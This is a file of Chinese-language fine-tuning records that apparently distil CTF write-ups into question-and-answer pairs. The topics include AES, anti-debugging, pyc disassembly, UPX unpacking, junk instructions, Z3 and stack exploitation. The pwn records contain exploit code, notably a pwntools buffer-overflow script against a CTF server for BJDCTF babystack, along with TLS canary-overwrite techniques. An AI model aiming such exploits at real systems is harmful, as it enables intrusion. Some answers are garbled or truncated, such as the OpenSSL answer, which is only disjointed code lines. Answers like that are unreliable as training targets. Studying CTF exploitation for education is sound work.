{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc673a3884ec980222da", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《AES》中“算法逻辑”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《AES》的“算法逻辑”。\n语言/类型：c\n关联知识点：\n- AES 的标准要求：\n- 分组大小为128位的分组密码\n- 支持三种密码标准：128位、192位和256位。\n- AES 位分组密码，加密时会将明文按照 128 位分成一组，要求每组的长度相等，每次加密一组数据，直到加密完整个明文。在AES标准规范中，分组长度只能是128位，也就是说，每个分组为16个字节（每个字节8位）。密钥的长度可以使用128位、192位或256位。密钥的长度不同，推荐加密轮数也不同，如下表所示：\n- | AES     | 密钥长度 | 分组长度 | 加密轮数 |\n代码片段：\n```c\nunsigned char S[256] = {\n        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n        0x8C, 0\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::22b927a7466c6a03", "original_line": 748, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "22b927a7466c6a03", "source_split": "train", "split": "train", "split_group_key": "cd2d28b514c172bef829eaa6", "tags": ["crypto"], "title": "AES", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dc888976187e94c3cc32", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“OutputDebugString”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“OutputDebugString”。\n语言/类型：c\n关联知识点：\n- `OutputDebugString`是 Windows API 中用于向调试器输出调试信息的函数。它的行为可以被利用来检测程序是否正在被调试。\n代码片段：\n```c\nvoid OutputDebugString(\n  LPCSTR lpOutputString\n);\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::fd2e86b15df14eda", "original_line": 41, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "OutputDebugString", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "fd2e86b15df14eda", "source_split": "test", "split": "train", "split_group_key": "c00755f08d0e536c5ee610dc", "tags": ["reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dd504fa8109dd755f164", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“反汇编”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 反汇编\n关键词：dis、结构如下：、源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值、x86、import、marshal、raw、code、open、out\n蒸馏要点：\n- 字节码拿过来反汇编就得到了针对 python 虚拟机的汇编代码，类似于 x86 汇编，但是比 x86 的好读多了，通过 dis.dis 就可以将字节码转换为可读的伪代码。\n可用于训练的标准回答：\n### 反汇编\n\n字节码拿过来反汇编就得到了针对 python 虚拟机的汇编代码，类似于 x86 汇编，但是比 x86 的好读多了，通过 dis.dis 就可以将字节码转换为可读的伪代码。\n\n```python\nimport dis\nimport marshal\n\nwith open(\"out.pyc\",\"rb\") as f:\n\traw = f.read()\n\ncode = marshal.loads(raw[16:])\ndis.dis(code)\n```\n\n结构如下：\n\n```\n源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::11c2b3f9151442dd", "original_line": 61, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "反汇编", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "11c2b3f9151442dd", "source_split": "validation", "split": "train", "split_group_key": "b6a6be29d4289b2fa30e71dd", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dddb456c07ce17849c73", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. if (encrypted_length == -1) {\n2. fprintf(stderr, \"Error encrypting message\\n\");\n3. BN_free(bn);\n4. RSA_free(rsa);\n5. return 1;\n6. printf(\"Encrypted message:\\n\");", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 5, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::5d16916deaf0d0dc", "original_line": 5, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "5d16916deaf0d0dc", "source_split": "test", "split": "train", "split_group_key": "2b7045ea1427d58d88d2f232", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dea4124ca92144579f29", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“切片”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“切片”。\n关联知识点：\n- `BUILD_SLICE`用于创建切片。对于`list`、`tuple`、字符串都可以使用切片的方式进行访问。\n- 但是要注意`BUILD_SLICE`用于`[x:y:z]`这种类型的切片，结合`BINARY_SUBSCR`读取切片的值，结合`STORE_SUBSCR`用于修改切片的值。\n- 对应 python 代码：\n代码片段：\n```\n1：\n0 LOAD_CONST   0 (1)\n2 LOAD_CONST   1 (2)\n4 LOAD_CONST   2 (3)\n6 BUILD_LIST   3\n8 STORE_NAME   0 (k)\n\n2：\n10 LOAD_CONST   3 (10)\n12 BUILD_LIST   1\n14 LOAD_NAME    0 (k)\n16 LOAD_CONST   4 (0)\n18 LOAD_CONST   0 (1)\n20 LOAD_CONST   0 (1)\n22 BUILD_SLICE  3\n24 STORE_SUBSCR\n\n3：\n26 LOAD_CONST   5 (11)\n28 BUILD_LIST   1\n30 LOAD_NAME    0 (k)\n32 LOAD_CONST   0 (1)\n34 LOAD_CONST   1 (2)\n36 BUILD_SLICE  2\n38 STORE_SUBSCR\n\n4：\n40 LOAD_NAME    0 (k)\n42 LOAD_CONST   0 (1)\n44 LOAD_CONST   1 (2)\n46 BUILD_SLICE  2\n48 BINARY_SUBSCR\n50 STORE_NAME   1 (a)\n\n5：\n52 LOAD_NAME    0 (k)\n54 LOAD_CONST   4 (0)\n56 LOAD_CONST   0 (1)\n58 LOAD_CONST   0 (1)\n60 BUILD_SLICE  3\n62 BINARY_SUBSCR\n64 STORE_NAME   2 (b)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::edeef997d68c9d82", "original_line": 988, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "切片", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "edeef997d68c9d82", "source_split": "train", "split": "train", "split_group_key": "cc5586e9ad7be76833390ae7", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-deaf524c7d7e20f76d35", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“ptrace 系统调用”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“ptrace 系统调用”。\n语言/类型：c\n关联知识点：\n- 一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.\n- 如果进程已经被调试器跟踪了再次`ptrace`就不会成功。\n- 处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。\n- 使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。\n代码片段：\n```c\n#include\n#include\n#include\n#include\n\nint main(int argc, char *argv[])\n{\n  if(ptrace(PTRACE_TRACEME,0,1,0)==-1){\n    printf(\"debugger\\n\");\n    exit(0);\n  }\n  printf(\"No debugger\\n\");\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fbabcd784ff203be", "original_line": 792, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ptrace 系统调用", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fbabcd784ff203be", "source_split": "train", "split": "train", "split_group_key": "21f7e20ba5dfa0424f7548e4", "tags": ["reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dfbf0c66279b90115380", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“stdout”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / stdout\n关键词：lambda、data、text、num、RELRO、PIE、elf、stdout、enabled、vuln\n蒸馏要点：\n- 设置 stdout 全缓冲机制，大小为 0x1000。\n- gift未初始化栈空间，所以栈内可 puts 出 libc。\n- vuln 内有 0x20 字节栈溢出。\n- 因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。\n可用于训练的标准回答：\n### stdout\n\n全缓冲机制\n\n- 分析\n\n查保护：\n\n```\nArch:     amd64\nRELRO:      Full RELRO\nStack:      No canary found\nNX:         NX enabled\nPIE:        PIE enabled\n```\n\n设置 stdout 全缓冲机制，大小为 0x1000。\n\ngift未初始化栈空间，所以栈内可 puts 出 libc。\n\nvuln 内有 0x20 字节栈溢出。\n\n因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' %...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::98a8b763be4849a2", "original_line": 750, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "stdout", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "98a8b763be4849a2", "source_split": "train", "split": "train", "split_group_key": "ecc3885011a833a74f24aa6d", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dfffbe45ab3722dabc82", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“劫持TLS”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / 劫持TLS（第 1 段）\n关键词：TLS、canary、p32、PIE、payload、stack_guard、RELRO、fs、fs:0x28、保护。\n蒸馏要点：\n- 在开启`canary`的情况下，当程序在线程创建线程的时候，会创建一个TLS（Thread Local Storage），这个TLS会存储canary的值，而TLS会保存在stack高地址的地方。\n- 那么，当我们溢出足够大的字节覆盖到TLS所在的地方，就可以控制TLS结构体，进而控制canary到我们想要的值，实现ROP。\n- Linux 下`fs`寄存器指向当前栈的`TLS`结构，`fs:0x28`指向的是`TLS`结构中的`stack_guard`值，如果可以覆盖位于`TLS`中的`canary`初始值就可以绕过`canary`保护。\n- `TLS`中的`canary`是可写的\n- 格式化字符串任意地址写覆盖canary\n- gyctf_2020_bfnote\n- 只没有`PIE`保护。\n可用于训练的标准回答：\n### 劫持TLS\n\n在开启`canary`的情况下，当程序在线程创建线程的时候，会创建一个TLS（Thread Local Storage），这个TLS会存储canary的值，而TLS会保存在stack高地址的地方。\n\n那么，当我们溢出足够大的字节覆盖到TLS所在的地方，就可以控制TLS结构体，进而控制canary到我们想要的值，实现ROP。\n\nLinux 下`fs`寄存器指向当前栈的`TLS`结构，`fs:0x28`指向的是`TLS`结构中的`stack_guard`值，如果可以覆盖位于`TLS`中的`canary`初始值就可以绕过`canary`保护。\n\n`TLS`中的`canary`是可写的\n\n```c\npwndbg> tls\ntls : 0x7ffff7d7c740\npwndbg> vmmap 0x7ffff7d7c740\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\n             Start                End Perm     Size Offset File\n          0x404000           0x405000 rw-p     1000   3000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/覆盖canary初始值/demo/vuln\n►   0x7ffff7d7c000     0x7ffff7d7f000 rw-p     3000      0 [anon_7ffff7d7c] +0x740\n    0x7ffff7d7f000     0x7ffff7da7000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6\n```\n\n格式化字符串任意地址写覆盖canary\n\n例题：\n\n>gyctf_2020_bfnote\n\n1. 查保护\n\n只没有`PIE`保护。\n\n```shell\n➜  覆盖canary初始值 checksec ./gyctf_2020_...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e143cdab71f90c29", "original_line": 852, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "劫持TLS", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e143cdab71f90c29", "source_split": "train", "split": "train", "split_group_key": "4246ea89889783e84ac78962", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e08734a84dc14b1f6168", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[BJDCTF 2020\\]babystack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [BJDCTF 2020\\]babystack\n关键词：BJDCTF、payload、name、babystack、exp、pwn、import、remote、node4、anna\n蒸馏要点：\n- 有符号数转无符号数\n可用于训练的标准回答：\n### [BJDCTF 2020\\]babystack\n\n#整数溢出 #栈对齐\n​\n有符号数转无符号数\n\n**exp**\n\n```python\nfrom pwn import *\nsh=remote(\"node4.anna.nssctf.cn\",28367)\npayload=b'a'*(0x10+8)+p64(0x4006e6)\nsh.recvuntil(\"name:\")\nsh.sendline(b'200')\nsh.sendlineafter(\"name?\",payload)\nsh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::21849332514c7c8a", "original_line": 999, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[BJDCTF 2020\\]babystack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "21849332514c7c8a", "source_split": "train", "split": "train", "split_group_key": "33a8e44bf3664e83d3577680", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e0d59b01610b64befe45", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《UPX 脱壳详解》的“简介”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：UPX 脱壳详解 / 简介\n关键词：OEP、UPX、CTF、dump、Entry、Point、壳有专业的脱壳、可以直接使用工具脱壳、序的一些特征导致脱壳、手动脱壳\n蒸馏要点：\n- UPX 壳是一种压缩壳，在 CTF 比赛中比较常见。\n- 针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。\n- 但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。\n- 这个时候我们可以通过恢复修改掉的地方让工具继续奏效。\n- 当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。\n- OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。\n可用于训练的标准回答：\n## 简介\n\nUPX 壳是一种压缩壳，在 CTF 比赛中比较常见。\n\n针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。\n\n但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。\n\n这个时候我们可以通过恢复修改掉的地方让工具继续奏效。\n\n当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。\n\n>OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0e66e1cb84a7c99c", "original_line": 934, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "简介", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0e66e1cb84a7c99c", "source_split": "train", "split": "train", "split_group_key": "fa7f006cad79a7ef85753bbe", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e0fe051e68be26162e39", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《花指令：原理：反汇编算法的设计缺陷》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：花指令：原理：反汇编算法的设计缺陷\n领域标签：pwn, reverse, ctf-method\n知识结构：原理：反汇编算法的设计缺陷 -> 关于花指令的构造 -> 实现 -> 分析 -> 多层跳转 -> 实现 -> 分析 -> jnx和jx互补跳转 -> 实现 -> 分析 -> 跳转指令构造花指令 -> 实现\n关键术语：jmp、emit、asm、ebx、- **gcc 编译器实现**、printf、include、hello、world、函数头部，按快捷键、创建函数。\n\n然后即可、处按快捷键、byte、call、volatile、jnz\n核心要点：\n- 反汇编算法主要可以分为两类：递归下降算法和线性扫描算法。\n- 线性扫描算法p1从程序的入口点开始反汇编，然后整个代码段进行扫描，反汇编扫描过程中所遇到的每条指令。线性扫描算法的缺点在于在冯诺依曼体系下，**无法区分数据和代码，从而导致将代码段中嵌入的数据误解释为指令的操作码，一致最后得到错误的反汇编结果**。\n- 递归下降采取另外一种不同的方法来定位指令。递归下降算法强调控制流的概念。控制流根据一条指令是否被另一条指令引用来决定是否对其进行反汇编，遇到非控制转移指令时顺序进行反汇编，而遇到控制转移指令时则从转移地址处开始进行反汇编。通过构造**必然条件**或者**互补条件**，使得反汇编出错。\n- 构造永恒跳转，插入垃圾数据\n- 我们通过在代码中内嵌汇编指令实现插入花指令。在不同的编译器中我们嵌入汇编的格式也不同。\n- 主要的编译器分别为 msvc 和 gcc，我们每个例子都会写出两种不同编译器的实现方法。\n- **msvc内嵌汇编**\n- **gcc内嵌汇编**\n- *常用的脏字节编码**\n- 构造跳转使插入的垃圾数据不被执行来欺骗反编译器。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::b44e36c8cbddf9b2", "original_line": 42, "original_split": "test", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "b44e36c8cbddf9b2", "source_split": "test", "split": "train", "split_group_key": "f14f0efbca9d8decd9f4efc3", "tags": ["pwn", "reverse", "ctf-method"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e20a8b922ef6b2df3b2e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“基本语句”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 基本语句\n关键词：Solver()、add()、check()、model()、python\ns=z3.Solver()、Solver、add、solver、check、sat\n蒸馏要点：\n- `Solver()`：创建一个通用求解器，以进行下一步的求解\n- `add()`：添加约束条件，通常在 solver() 命令之后，添加的约束条件通常是一个逻辑等式。\n- `check()`：添加完约束条件后，用来检测解的情况，有解的时候会返回 sat，无解的时候会返回 unsat\n- `model()`：在存在解的时候，该函数会将每个限制条件所对应的解集的交集，进而得出正解。\n- 分别对应设未知数，列方程组，判断方程是否有界，解方程组\n- 在使用 z3 进行约束求解之前我们首先需要获得一个求解器类实例，本质上其实就是一组约束的集合：\n可用于训练的标准回答：\n### 基本语句\n\n- `Solver()`：创建一个通用求解器，以进行下一步的求解\n- `add()`：添加约束条件，通常在 solver() 命令之后，添加的约束条件通常是一个逻辑等式。\n- `check()`：添加完约束条件后，用来检测解的情况，有解的时候会返回 sat，无解的时候会返回 unsat\n- 